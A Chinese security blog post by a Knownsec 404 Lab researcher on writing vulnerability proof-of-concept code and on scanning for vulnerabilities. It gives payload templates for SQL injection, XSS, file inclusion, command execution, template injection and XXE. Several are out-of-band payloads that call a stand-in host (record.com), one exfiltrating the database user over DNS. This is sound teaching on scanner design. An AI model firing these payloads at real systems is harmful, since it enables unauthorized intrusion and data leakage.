漏洞檢測的那些事兒
Author: RickGray (知道創宇404安全實驗室)
0x00 簡介
好像很久沒發文了,近日心血來潮準備談談 “漏洞檢測的那些事兒”。現在有一個現象就是一旦有危害較高的漏洞的驗證 PoC 或者利用 EXP 被公佈出來,就會有一大群飢渴難忍的帽子們去刷洞,對於一個路人甲的我來說,看得有點眼紅。XD
刷洞歸刷洞,蛋還是要扯的。漏洞從披露到研究員分析驗證,再到 PoC 編寫,進而到大規模掃描檢測,在這環環相扣的漏洞應急生命週期中,我認為最關鍵的部分應該算是 PoC編寫 和 漏洞檢測 這兩個部分了:
- PoC編寫 - 復現漏洞環境,將漏洞復現流程程式碼化的過程
- 漏洞檢測 - 使用編寫好的 PoC 去驗證測試目標是否存在著漏洞,需要注意的是在這個過程(或者說是在編寫 PoC 的時候)需要做到安全、有效和無害,儘可能或者避免掃描過程對目標主機產生不可恢復的影響
首先來說說 PoC 編寫。編寫 PoC 在我看來是安全研究員或者漏洞分析者日常最基礎的工作,編寫者把漏洞驗證分析的過程透過程式碼描述下來,根據不同型別的漏洞編寫相應的 PoC。根據常年編寫 PoC 積累下來的經驗,個人認為在編寫 PoC 時應遵循幾個準側,如下:
- 隨機性
- 確定性
- 通用型
可能你會覺得我太學術了?那麼我就一點一點地把他們講清楚。
0x01 PoC 編寫準則 & 示例
i. 隨機性
PoC 中所涉及的關鍵變數或資料應該具有隨機性,切勿使用固定的變數值生成 Payload,能夠隨機生成的儘量隨機生成(如:上傳檔案的檔名,webshell 密碼,Alert 的字串,MD5 值),下面來看幾個例子(我可真沒打廣告,例子大都使用的 pocsuite
PoC 框架):
上圖所示的程式碼是 WordPress 中某個主題導致的任意檔案上傳漏洞的驗證程式碼關鍵部分,可以看到上面使用了 kstest.php
作為每一次測試使用的上傳檔名,很明顯這裡是用的固定的檔名,違背了上面所提到的隨機性準側。這裡再多囉嗦一句,我並沒有說在 PoC 中使用固定的變數或者資料有什麼不對,而是覺得將能夠隨機的資料隨機化能夠降低在掃描檢測的過程所承擔的一些風險(具體有什麼風險請自行腦補了)。
根據隨機性準側可修改程式碼如下:
更改後上傳檔案的檔名每次都為隨機生成的 6 位字元,個人認為在一定程度上降低了掃描檢測互動資料被追蹤的可能性。
ii. 確定性
PoC 中能透過測試返回的內容找到唯一確定的標識來說明該漏洞是否存在,並且這個標識需要有針對性,切勿使用過於模糊的條件去判斷(如:HTTP 請求返回狀態,固定的頁面可控內容)。同樣的,下面透過例項來說明一下:
上圖所示的程式碼是某 Web 應用一個 UNION
型 SQL 注入的漏洞驗證程式碼,程式碼中直接透過拼接 -1' union select 1,md5(1) --
來進行注入,因該漏洞有資料回顯,所以如果測試注入成功頁面上會列印出 md5(1) 的值 c4ca4238a0b923820dcc509a6f75849b
,顯然的這個 PoC 看起來並沒有什麼問題,但是結合準則第一條隨機性,我覺得這裡應該使用 md5(rand_num)
作為標識確定更好,因為隨機化後,準確率更高:
這裡也不是坑你們,萬一某個站點不存在漏洞,但頁面中就是有個 c4ca4238a0b923820dcc509a6f75849b
,你們覺得呢?
講到這裡,再說說一個 Python requests
庫使用者可能會忽視的一個問題。有時候,我們在獲取到一個請求返回物件時,會像如下程式碼那樣做一個前置判斷:
可能有人會說了,Python 中條件判斷非空即為真,但是這裡真的是這麼處理的麼?並不是,經過實戰遇到的坑和後來測試發現,Response
物件的條件判斷是透過 HTTP 返回狀態碼來進行判斷的,當狀態碼範圍在 [400, 600]
之間時,條件判斷會返回 False
。(不信的自己測試咯)
我為什麼要提一下這個點呢,那是因為有時候我們測試漏洞或者將 Payload 打過去時,目標可能會因為後端處理邏輯出錯而返回 500
,但是這個時候其實頁面中已經有漏洞存在的標識出現,如果這之前你用剛才說的方法提前對 Response
物件進行了一個條件判斷,那麼這一次就會導致漏報。So,你們知道該怎麼做了吧?
iii. 通用性
PoC 中所使用的 Payload 或包含的檢測程式碼應兼顧各個環境或平臺,能夠構造出通用的 Payload 就不要使用單一目標的檢測程式碼,切勿只考慮漏洞復現的環境(如:檔案包含中路徑形式,命令執行中執行的命令)。下圖是 WordPress 中某個外掛導致的任意檔案下載漏洞:
上面驗證程式碼邏輯簡單的說就是,透過任意檔案下載漏洞去讀取 /etc/passwd
檔案的內容,並判斷返回的檔案內容是否包含關鍵的字串或者標識。明顯的,這個 Payload 只適用於 *nix 環境的情況,在 Windows 平臺上並不適用。更好的做法應該是根據漏洞應用的環境找到一個必然能夠體現漏洞存在的標識,這裡,我們可以取 WordPress 配置檔案 wp-config.php
來進行判斷(當然,下圖最終的判斷方式可能不怎麼嚴謹):
這麼一改,Payload 就同時兼顧了多個平臺環境,變成通用的了。
大大小小漏洞的 PoC 編寫經驗讓我總結出這三點準則,你要是覺得是在扯蛋就不用往下看了。QWQ
0x02 漏洞檢測方法 & 示例
“漏洞檢測!漏洞檢測?漏洞檢測。。。”,說了這麼多,到底如何去歸納漏洞檢測的方法呢?在我看來,根據 Web 漏洞的型別特點和表現形式,可以分為兩大類:直接判斷 和 間接判斷。
- 直接判斷:透過傳送帶有 Payload 的請求,能夠從返回的內容中直接匹配相應狀態進行判斷
- 間接判斷:無法透過返回的內容直接判斷,需藉助其他工具間接的反應漏洞觸發與否
多說無益,還是直接上例子來體現一下吧(下列所示 Payloads 不完全通用)。
1. 直接判斷
i. SQLi(回顯)
對於有回顯的 SQL 注入,檢測方法比較固定,這裡遵循 “隨機性” 和 “確定性” 兩點即可。
Error Based SQL Injection
#!php
payload: "... updatexml(1,concat(":",rand_str1,rand_str2),1) ..."
condition: (rand_str1 + rand_str2) in response.content
針對報錯注入來說,利用隨機性進行 Payload 構造可以比較穩定和準確地識別出漏洞,固定字串會因一些小機率事件造成誤報。不知道大家是否明白上面兩行程式碼的意思,簡單的說就是 Payload 中包含一個可預測結果的隨機資料,驗證時只需要驗證這個可預測結果是否存在就行了。
UNION SQL Injection
#!php
payload1: "... union select md5(rand_num) ..."
condition1: md5(rand_num) in response.content
payload2: "... union select concat(rand_str1, rand_str2) ..."
condition2: (rand_str1 + rand_str2) in response.content
md5(rand_num)
這個很好理解,MySQL 中自帶函式,當 Payload 執行成功時,因具有回顯所以在頁面上定有 md5(rand_num)
的雜湊值,因 Payload 具有隨機性,所以誤報率較低。
ii. XSS(回顯)
#!php
payload: "... var _=rand_str1+rand_str2;confirm(_); ..."
condition: (rand_str1 + rand_str2) in response.content
因沒怎麼深入研究過 XSS 這個東西,所以大家就意會一下示例程式碼的意思吧。QWQ
iii. Local File Inclusion/Arbitrary File Download(回顯)
本地檔案包含和任意檔案下載的最大區別在哪?本地檔案包含不僅能夠獲取檔案內容還可以動態包含指令碼檔案執行程式碼,而任意檔案下載只能獲取檔案內容無法執行程式碼。XD
所以呢,在針對此類漏洞進行檢測時,在進行檔案包含/下載測試的時候需要找一個相對 Web 應用固定的檔案作為測試向量:
#!php
payload: "... ?file=../../../fixed_file ..."
condition: (content_flag_in_fixed_file) in response.content
例如 WordPress 應用路徑下 ./wp-config.php
檔案是應用預設必須的配置檔案,而檔案中的特殊字串標識 require_once(ABSPATH . 'wp-settings.php');
通常是不會去改動它的(當然也可以是其他的特徵字串),掃描檔案下載時只需要去嘗試下載 ./wp-config.php
檔案,並檢測其中的內容是否含有特徵字串即可判斷是否存在漏洞了。
iv. Remote Code/Command Execution(回顯)
遠端程式碼/命令執行都是執行,對該類漏洞要進行無害掃描,通常的做法是列印隨機字串,或者執行一下特徵函式,然後檢查頁面返回是否存在特徵標識來確認漏洞與否。
#!php
payload: "... echo md5(rand_num); ..."
condition: (content_flag) in response.content
當然了,要執行什麼樣的特徵命令這還需要結合特定的漏洞環境來決定。
v. SSTI/ELI(回顯)
模板注入和表示式注入相對於傳統的 SQLi 和 XSS 來說,應該算得上是在開框架化、整體化的過程中產生的問題,當模板內容可控時各種傳統的 Web 漏洞也就出現了,XSS、命令執行都能夠透過模板注入活著表示式注入做到。曾經風靡一時的 Struts2 漏洞我覺得都能歸到此類漏洞中。通常檢測只需構造相應模板語言對應的表示式即可,存在注入表示式會得以執行並返回內容:
#!php
payload1: "... param=%(rand_num1 + rand_num2) ..."
condition1: (rand_num1 + rand_num2) in response.content
payload2: "... param=%(rand_num1 * rand_num2) ..."
condition2: (rand_num1 * rand_num2) in response.content
payload3: "... #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(rand_str1+rand_str2),#response.flush(),#response.close() .."
condition3: (rand_str1+ rand_str2) in response.content
vi. 檔案雜湊
有時候漏洞只與單個檔案有關,例如 Flash、JavaScript 等檔案造成的漏洞,這個時候就可以利用檔案雜湊來直接判斷是否存在漏洞。掃描檢測時,首先需要給定路徑下載對應的檔案然後計算雜湊與統計的具有漏洞的所有檔案雜湊進行比對,匹配成功則說明漏洞存在:
#!php
payload: "http://vuln.com/vuln_swf_file.swf"
condition: hash(vul_swf_file.swf) == hash_recorded
以上就是針對 Web 漏洞檢測方法中的 “直接判斷” 進行了示例說明,因 Web 漏洞型別繁多且環境複雜,這裡不可能對其進行一一舉例,所舉的例子都是為了更好的說明 “直接判斷” 這種檢測方法。:)
2. 間接判斷
“無回顯?測不了,掃不了,很尷尬!怎麼辦。。。“
在很久很久之前,我遇到上訴這些漏洞環境時是一臉懵逼的 (⇀‸↼‶),一開始懂得了用回連進行判斷,後來有了 python -m SimpleHTTPServer
作為簡單實時的 HTTP Server 作為回連監控,再後來有了《Data Retrieval over DNS in SQL Injection Attacks》這篇 Paper,雖然文章說的技術點是透過 DNS 查詢來獲取 SQL 盲注的資料,但是 "Data Retrieval over DNS" 這種技術已經可以應用到大多數無法回顯的漏洞上了,進而出現了一些公開的平臺供安全研究愛好者們使用,如:烏雲的 cloudeye 和 Bugscan 的 DNSLog,當然還有我重寫的 CEYE.IO 平臺。
"Data Retrieval over DNS" 技術原理其實很簡單,首先需要有一個可以配置的域名,比如:ceye.io,然後透過代理商設定域名 ceye.io 的 nameserver 為自己的伺服器 A,然後再伺服器 A 上配置好 DNS Server,這樣以來所有 ceye.io 及其子域名的查詢都會到 伺服器 A 上,這時就能夠實時地監控域名查詢請求了,圖示如下(借的 Ricter 的):
說了那麼多,還是不知道怎麼用麼?那就直接看示例吧(所以後端平臺都用 CEYE.IO 作為例子)。
i. XSS(無回顯)
XSS 盲打在安全測試的時候是比較常用的,“看到框就想 X” 也是每位 XSSer 的信仰:
#!html
payload: "... ><img src=http://record.com/?blindxss ..."
condition: {http://record.com/?blindxss LOG} in HTTP requests LOGs
透過盲打,讓觸發者瀏覽器訪問預設至的連結地址,如果盲打成功,會在平臺上收到如下的連結訪問記錄:
ii. SQLi(無回顯)
SQL 注入中無回顯的情況是很常見的,但是有了 "Data Retrieval over DNS" 這種技術的話一切都變得簡單了,前提是目標環境符合要求。《HawkEye Log/Dns 在Sql注入中的應用》這篇文章提供了一些常見資料庫中使用 "Data Retrieval over DNS" 技術進行盲注的 Payloads。
#!html
payload: "... load_file(concat('\\\\',user(),'.record.com\\blindsqli'))
condition: {*.record.com LOG} in DNS queries LOGs
只要目標系統環境符合要求並且執行了注入的命令,那麼就會去解析預先設定好的域名,同時透過監控平臺能夠拿到返回的資料。
iii. SSRF(無回顯)
根據上面兩個例子,熟悉 SSRF 的同學肯定也是知道怎麼玩了:
#!html
payload: "... <!ENTITY test SYSTEM "http://record.com/?blindssrf"> ..."
condition: {http://record.com/?blindssrf LOG} in HTTP requests LOGs
iv. RCE(無回顯)
命令執行/命令注入這個得好好說一下,我相信很多同學都懂得在命令執行無法回顯的時候借用類似 python -m SimpleHTTPServer
這樣的環境,採用回連的檢測機制來實時監控訪問日誌。*nix 系統環境下一般是使用 curl
命令或者 wget
命令,而 windows 系統環境就沒有這麼方便的命令去直接訪問一個連結,我之前常用的是 ftp
命令和 PowerShell 中的檔案下載來訪問日誌伺服器。現在,有了一個比較通用的做法同時兼顧 *nix 和 windows 平臺,那就是 ping
命令,當 ping 一個域名時會對其進行一個遞迴 DNS 查詢的過程,這個時候就能在後端獲取到 DNS 的查詢請求,當命令真正被執行且平臺收到回顯時就能說明漏洞確實存在。
#!bash
payload: "... | ping xxflag.record.com ..."
condition: {xxflag.record.com LOG} in DNS queries LOGs
透過這幾個 "間接判斷" 的示例,相信大家也大概瞭解了在漏洞無回顯的情況下如何進行掃描和檢測了。更多的無回顯 Payloads 可以透過 http://ceye.io/payloads 進行檢視。(勿噴)
0x03 應急實戰舉例
原理和例子扯了這麼多,也該上上實際的掃描檢測案例了。
Java 反序列化(通用性舉例,ftp/ping)
首先說說 15 年底爆發的 Java 反序列化漏洞吧,這個漏洞應該算得上是 15 年 Web 漏洞之最了。記得當時應急進行掃描的時候,WebLogic 回顯 PoC 並沒有搞定,對其進行掃描檢測的時候使用了回連的方式進行判斷,又因為待測目標包含 *nix 和 windows 環境,所以是寫了兩個不同的 Payloads 對不同的系統環境進行檢測,當時掃描程式碼的 Payloads 生成部分為:
i. *nix
當時真實的日誌內容:
可以看到我在構造 Payload 的時候透過連結引數來唯一識別每一次測試的 IP 地址和埠,這樣在檢查訪問日誌的時候就能確定該條記錄是來自於哪一個測試目標(因為入口 IP 和出口 IP 可能不一致),同時在進行批次掃描的時候也能方便進行目標確認和日誌處理。
ii. windows
當時真實的日誌內容:
因為 windows 上的 ftp
命令無法帶類似引數一樣的標誌,所以透過觀察 FTP Server 連線日誌上不是很好確認當時測試的目標,因為入口 IP 和出口 IP 有時不一致。
上面的這些 PoC 和日誌截圖都是去年在應急時真實留下來的,回想當時再結合目前的一些知識,發現使用通用的 Payload ping xxxxx.record.com
並使用 "Data Retrieval over DNS" 技術來收集資訊日誌能夠更為通用方便地進行檢測和掃描。所以,最近更換了一下 Payload 結合 CEYE.IO 平臺又對 WebLogic 反序列化漏洞的影響情況又進行了一次摸底:
這裡新增一個隨機字串作為一個子域名的一部分是為了防止多次檢測時本地 DNS 快取引起的問題(系統一般會快取 DNS 記錄,同一個域名第一次透過網路解析得到地址後,第二次通常會直接使用本地快取而不會再去發起查詢請求)。
相應平臺的記錄為(數量略多):
(順便說一下,有一個這樣的平臺還是很好使的 QWQ)
不知不覺就寫了這麼多 QWQ,好累。。。能總結和需要總結的東西實在太多了,這次就先寫這麼一點吧。
不知道仔細看完這篇文章的人會有何想法,也許其中的一些總結你都知道,甚至比我知道的還要多,但我寫出來只是想對自己的經驗和知識負責而已,歡迎大家找我討論掃描檢測相關的東西。:)
相關文章
- 關於微信域名攔截檢測那些事兒2019-08-21
- https的那些事兒2019-02-21HTTP
- webpack的那些事兒2019-05-12Web
- PHP那些事兒2019-02-16PHP
- Redis那些事兒2019-02-16Redis
- babel那些事兒2019-03-14Babel
- Python和單元測試那些事兒2018-08-15Python
- Eval家族的那些事兒2019-03-30
- 測試在專案流程中的那些事兒2022-03-21
- 軟體自動化測試工具的那些事兒2020-03-03
- 雲原生java的那些事兒2019-03-01Java
- util.promisify 的那些事兒2018-10-17
- iOS 截圖的那些事兒2018-06-03iOS
- HTTP 快取的那些事兒2018-08-21HTTP快取
- 關於 sudo 的那些事兒2019-12-19
- 面試的那些事兒--012021-03-10面試
- MySQL優化那些事兒2019-03-02MySql優化
- 網路安全那些事兒2018-11-08
- 說說RCE那些事兒2020-08-19
- C語言那些事兒2020-04-04C語言
- PHP 閉包那些事兒2019-02-16PHP
- 字元編碼那些事兒2021-09-09字元
- 聊聊瀏覽器的那些事兒2019-02-15瀏覽器
- 綠帽子水管工的那些事兒2019-10-15
- Filebeat 收集日誌的那些事兒2020-06-18
- [apue] 等待子程式的那些事兒2019-07-08
- 我與軟考的那些事兒2018-03-25
- 「前端那些事兒」④ 效能監控2019-04-01前端
- 法線貼圖那些事兒2020-05-25
- 程式碼重構那些事兒2019-02-03
- Node檔案操作那些事兒2018-03-20
- JavaScript非同步處理的那些事兒2018-11-12JavaScript非同步
- 關於自定義元件的那些事兒2018-12-13元件
- 深入淺出Mysql索引的那些事兒2019-08-22MySql索引
- Docker容器中應避免的那些事兒2020-06-26Docker
- XSS和字符集的那些事兒2020-08-19
- 有關指標的那些事兒《一》2020-11-14指標
- 談談java入門的那些事兒2020-09-28Java